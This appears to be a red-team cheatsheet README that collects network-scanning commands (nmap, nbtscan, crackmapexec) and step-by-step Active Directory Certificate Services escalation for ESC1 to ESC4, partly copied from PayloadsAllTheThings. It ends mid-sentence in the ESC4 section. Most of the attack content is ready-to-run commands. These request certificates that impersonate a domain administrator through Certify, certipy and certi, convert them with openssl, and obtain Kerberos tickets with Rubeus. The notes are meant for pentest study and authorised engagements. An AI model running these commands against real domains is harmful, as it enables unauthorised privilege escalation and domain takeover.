A Red-Teamer diaries

Publicly accessible notes about my pentesting/red teaming experiments tested on several controlled environments/infrastructures that involve playing with various tools and techniques used by penetration testers and redteamers during a security assessment.

• Project in progress

Contribute

We welcome contributions as github pull requests.
Kudos and thanks for the people who did the hard stuff

Goals

• Pentest/red team cheatsheet that collects snippets of codes and commands to help pentester during an engagement(saving time/fast search for a specific command).
• Understand how the attacks can be performed
• take notes for future reference

Disclaimer

For educational purposes only, use it at your own responsibility.

Intrusion Kill Chain

Mapping the Network

RunFinger.py

Gather information about the Domain name and windows machine running in the network

bash$ cd /usr/share/Responder/tools
bash$ sudo python RunFinger.py -i 192.168.1.1/24

or

bash$ responder-RunFinger

Nbtscan

Scanning IP networks for NetBIOS name information.

bash$ sudo nbtscan -v -s : 192.168.1.0/24

Crackmapexec v 4.0

Scan the network range based on the SMB information

bash$ cme smb 192.168.1.1/24

Nmap scan

Scan all the machine network and save the outputs .

• -oA options : Means output with all format
• -T4 : Fast scan

Fast Scan

bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP  

Intensive Scan (Note recommended):

bash$ nmap -p 1-65535 -Pn -A -oA output target_IP 

Scan with enumeration of the running services version :

• -sC : default scripts Equivalent to --script=default
• -sV : Get the service version

bash$ nmap -sC -sV -oA output target

Angry IP scanner

Download the tool from this link : Angry IP Scanner

• Change the preferences settings

Go to : Preferences -> Ports -> add 80,445,554,21 ,22 in the port selection
Go to : Preferences -> Display -> select Alive Hosts
Go to : Preferences -> Pinging -> select Combained (UDP/TCP)

Lateral Movement and Exploitation

Active Directory Certificate Services

This part was copied from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
For more details check : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(Tested on private environment (Bloodhound then ESC1 exploit)

• Find ADCS Server
  • crackmapexec ldap domain.lab -u username -p password -M adcs
  • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
• Enumerate AD Enterprise CAs with certutil: certutil.exe -config - -ping, certutil -dump

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:

• Template that allows for AD authentication
• ENROLLEE_SUPPLIES_SUBJECT flag
• [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation:

• Use Certify.exe to see if there are any vulnerable templates

  Certify.exe find /vulnerable
  Certify.exe find /vulnerable /currentuser
  # or
  PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
  # or
  certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
  

• Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)

  # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
  Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
  certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
  certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
  

• Use OpenSSL and convert the certificate, do not enter a password

  openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  

• Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus

  Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
  

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements:

• Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:

• Find template

  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  

• Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

• Request a certificate based on the vulnerable certificate template ESC3.

  $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3'
  [*] Saved certificate and private key to 'john.pfx'
  

• Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user

  $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
  

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability